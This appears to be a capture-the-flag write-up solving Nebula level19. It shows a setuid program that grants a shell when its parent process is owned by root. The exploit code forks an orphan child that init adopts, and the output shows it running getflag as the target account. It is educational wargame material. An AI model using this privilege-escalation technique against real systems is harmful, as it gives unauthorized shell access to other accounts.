Level19 provides us with the following code:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
And this very detailed hint:
“There is a flaw in the below program in how it operates.”
…No way!!
This comment is the key /* If root started us, it is ok to start the shell */
In order to achieve this, we will need to force create an orphan process that would be claimed by init, which is owned by root.
Let’s write some c code to accomplish that.
level19@nebula:~$ cat orphanage.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(int argc, char **argv, char **envp){
int child;
child = fork();
if(child >= 0){
if(child == 0){
sleep(1);
setresuid(geteuid(),geteuid(),geteuid());
char *args[] = {"/bin/sh", "-c", "/bin/getflag", NULL};
execve("/home/flag19/flag19", args, envp);
}
}
exit(0);
}
Time to compile and test:
level19@nebula:~$ gcc -o orphanage orphanage.c
level19@nebula:~$ ./orphanage
level19@nebula:~$ You have successfully executed getflag on a target account
Nebula completed! I want to thank the team over at Exploit Exercises for making this challenge available. I learned a ton from working through this war game, it provided me hands-on practice in a number of areas that I was looking to improve my skills.
Thanks again for reading!